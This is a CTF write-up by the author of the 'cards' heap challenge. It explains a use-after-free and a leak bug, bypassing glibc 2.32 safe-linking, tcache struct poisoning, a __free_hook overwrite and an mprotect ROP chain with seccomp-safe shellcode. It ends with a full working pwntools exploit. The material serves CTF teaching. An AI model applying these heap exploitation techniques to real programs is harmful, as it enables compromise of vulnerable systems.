---
# System prepended metadata

title: Cards

---

# Cards 

### Posiedon ctf `cards` writeup, We organized posiedonctf this weekend and i wrote one pwn challenge.

Challenge name - `cards`

```
Solves - 9.
                    Cards
points-977
                    [heap]
I want to play cards :( . DO you ?
nc poseidonchalls.westeurope.cloudapp.azure.com 9004
Author : hk
```

```python=
"Glibc version : 2.32"
```


NOTE[] - The binary had seccomp.
Here is the seccomp rules dump generated by seccomp-tools.
![](https://i.imgur.com/IicJZ99.png)



The program uses two structures.
```c
typedef struct cardinfo{
	long int size_name_card;
	long int ncards;
	char *name_of_card;
}CARD_INFO;
```

```c
typedef struct card{
	long int cardnumber;
	char color[0x8];
	CARD_INFO *card;
	long int iscard;
}CARD;
```
This is just a typical heap challenge with capabilities, to these operations
```c
1. Add
2. Delete
3. Edit
4. View
```
#### UAF
When we delete a card, The `iscard` member is not initialized and edit function checks for iscard, which pass the check. SO we can edit freed chunk and play around with FD and BK pointers.
![](https://i.imgur.com/lM2cIlA.png)

Here is the original source code of edit function.
### Edit
```c
void edit_name()
{
	unsigned int idx;
	printf("Enter the index of the card: ");
	idx = return_number();
	if(idx>total_cards||!mycard[idx]->iscard) {
		puts("Nope");
		return;
	}
	printf("Enter new name: ");
	read(0,mycard[idx]->card->name_of_card,sizes[idx]);
	puts("Edited");	
}
```
We can not allocate more than 0x100 size.
### Add
Here is the source of Add function
The program uses a global variable to `total_cards` to keep count of cards to allocate. And limit is total 9 cards.
There is info leak, when it read the name, it doesn't sets the last byte to '\x00' which can be used to leak the pointers.
```c
void add()
{
	unsigned int size;
	if(total_cards>0x8) {
		exit_error("No");
	}
	mycard[total_cards] = (CARD*)malloc(0x28);
	mycard[total_cards]->cardnumber=total_cards;
	printf("Enter size of the name of the card: ");
	size=return_number();
	if(size>0x100){
		exit_error("I'm not sure but you are not allowed to do that");
	}
	mycard[total_cards]->card = (CARD_INFO *)malloc(0x28);
	mycard[total_cards]->card->size_name_card = size;
	mycard[total_cards]->iscard = TRUE;
	mycard[total_cards]->card->name_of_card = malloc(size);
	mycard[total_cards]->card->ncards = total_cards;
	printf("Enter card color: ");
	read(0,mycard[total_cards]->color,0x7);	
	printf("Enter name: ");
	read(0,mycard[total_cards]->card->name_of_card,size);
	printf("Done.\n");
	sizes[total_cards]=size;
	total_cards++;
}
```
### delete
The delete function takes index of the card and free the card. It doesn't initialize the chunk after freeing it leading to information leak.
```c
void delete()
{
	unsigned int idx;
	printf("Enter index of the card: ");
	idx = return_number();
	if(idx>total_cards||checks[idx]){
		puts("No");
		return;
	}
	free(mycard[idx]);
	free(mycard[idx]->card);
	free(mycard[idx]->card->name_of_card);
	checks[idx]=1;
	printf("Done.\n");
}
```
And the view function takes and idx and prints the chunk info.

However we can't directly overwrite the FD pointer of a freed chunk because tcache in glibc 2.32, introduces `safe-linking`. 

***It's just xoring the pointers with help of aslr.
here's the article:*** https://research.checkpoint.com/2020/safe-linking-eliminating-a-20-year-old-malloc-exploit-primitive/

However this can be bypassed with leaking heap address.

It also introduces `alignment checks.`

***here's the new tcache_put source***
```c
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);

  /* Mark this chunk as "in the tcache" so the test in _int_free will
     detect a double free.  */
  e->key = tcache;

  e->next = PROTECT_PTR (&e->next, tcache->entries[tc_idx]);
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}
```
***tcache-get***
```c
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  if (__glibc_unlikely (!aligned_OK (e)))
    malloc_printerr ("malloc(): unaligned tcache chunk detected");
  tcache->entries[tc_idx] = REVEAL_PTR (e->next);
  --(tcache->counts[tc_idx]);
  e->key = NULL;
  return (void *) e;
}
```
And some new definations.
```c
#define PROTECT_PTR(pos, ptr) \
  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
```

This can be easily bypassed after getting the heap leak.

So my solution includes.
1. Leak heap
2. overwrite fd pointer with tcache-per-thread struct. #UAF-HERE
3. Keep an 0x100 sized chunk.
4. get allocation to tcache-per-thread struct.
5. After getting to tcache-per-thread. Change the tcache[idx] of 0x100 size to 7.
6. Free 0x100 sized chunk. -> The chunk goes into unsortedbin.
7. Use edit function to change tcache[idx] of 0x100 to 0. So it doesn't go look into tcache.
8. Allocate back and get libc leaks. since the pointers are not initialized after freeing the chunk.
9. Then add __free_hook to tcache-per-thread struct using edit function.
10. There is a other option which is not shown in menu. `Secret-name` which reads 0x40 bytes of userdata on to the stack.
11. So We send our rop-chain there to execute mprotect call on heap. By changing free hook to add_rsp + 0xd8; ret ; ROPgadget.
12. Then execute our shellcode on heap and open-read-write flag.


#### exploit
```python=
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
exe = context.binary = ELF("./cards")

def start(argv=[], *a, **kw):
    if args.GDB:
        return gdb.debug([exe.path] + argv, gdbscript=gdbscript, *a, **kw)
    else:
        return process([exe.path] + argv, *a,env={"LD_PRELOAD":"./libc-2.32.so"}, **kw)

gdbscript = '''
continue
'''.format(**locals())
#io = start()
io = remote("poseidonchalls.westeurope.cloudapp.azure.com",9004)
#######utils
def add(size,name):
	io.sendlineafter("Choice: ","1")
	io.sendafter("card: ",str(size))
	io.sendafter("color: ","HKHKHKH");	
	io.sendafter("name: ",name)

def view(idx):
	io.sendlineafter("Choice: ","4")
	io.sendafter("card: ",str(idx))

def remove(idx):
	io.sendlineafter("Choice: ","2")
	io.sendafter("card: ",str(idx))

def edit(idx,name):
	io.sendlineafter("Choice: ","3")
	io.sendafter("card: ",str(idx))
	io.sendafter("name: ",name)

def sendrop(rop):
	io.sendlineafter("Choice: ","6")
	io.sendafter("name: ",rop)

def mask(heapbase,target):
	return (heapbase >> 0xc) ^ target
#------------------------------------------------------
#UAF
#Glibc version 2.32 added a new check |chunk should be aligned| and free pointers gets masked.
#To bypass, this requires heap leak.
#Fast bin attack is now dead because of the alignment check.
##define PROTECT_PTR(pos, ptr) \
#  ((__typeof (ptr)) ((((size_t) pos) >> 12) ^ ((size_t) ptr)))
#define REVEAL_PTR(ptr)  PROTECT_PTR (&ptr, ptr)
#------------------------------------------------------

####Addr
main_arena = 0x3b6ba0
free_hook = 0x3b8e80
mprotect = 0xf0830

####gadgets
add_rsp = 0x00077f66
pop_rdi = 0x001273dc
pop_rsi = 0x00126117
pop_rdx = 0x000c45ed

####exploit
add(0x28,"B"*0x28) #0
remove(0)
add(0x28,"A"*14+"BB") #1
view(1)
io.recvuntil("BB")
heap_base = u64(io.recvn(6)+b"\x00\x00")-0x2d0
print("Heap base: "+hex(heap_base))
add(0xd8,"HKHK")#2
add(0xd8,"HKHK")#3
remove(2)
remove(3)
target_ptr = mask(heap_base,heap_base+0x10)
edit(3,p64(target_ptr)) #uaf
add(0xd8,"/home/challenge/flag\x00")#4
add(0xf8,"HKHK")#5
add(0xd8,p64(0x0002000000000400)+p64(0x0)+p64(0x0)+p64(0x0000000700000000))#6 #set tcache-count of chunk 0x101 size to 7
remove(5) #remove chunk and get unsortedbin
edit(6,p64(0x00020000000000400)+p64(0x0)*3) #set tcache-count to back to 0
add(0x88,"AAAAAABB")#7 #leak libc now
view(7)
io.recvuntil("BB")
libc_base = u64(io.recvn(6)+b"\x00\x00")-0x3b6c90
print("Libc: "+hex(libc_base))
edit(6,p64(0x00120000000000401)+p64(0x0)*15+p64(libc_base+free_hook))
add(0x18,p64(libc_base+add_rsp))#8
shellcode = asm(f"""
		xor rax, rax
		mov al, 0x2
		xor rsi, rsi
		xor rdx, rdx
		mov rdi, {heap_base+0x4d0}
		syscall
		mov r10, rax
		xor rax, rax
		mov rdi, r10
		mov rsi, {heap_base+0x100}
		mov rdx, 0x50
		syscall
		mov rax, 0x1
		mov rdi, rax
		syscall
		mov rax, 0x3c
		mov rdi, 0x1337
		syscall
	""")
edit(7,shellcode)
mprotect_rop =  p64(libc_base+pop_rdi)+\
		p64(heap_base)+\
		p64(libc_base+pop_rsi)+\
		p64(0x1000)+\
		p64(libc_base+pop_rdx)+\
		p64(0x7)+\
		p64(libc_base+mprotect)+\
		p64(heap_base+0x610)
sendrop(mprotect_rop)
remove(4)
io.interactive()
```
Link to the source-code and exploit: https://github.com/hkraw/posiedonctf-cards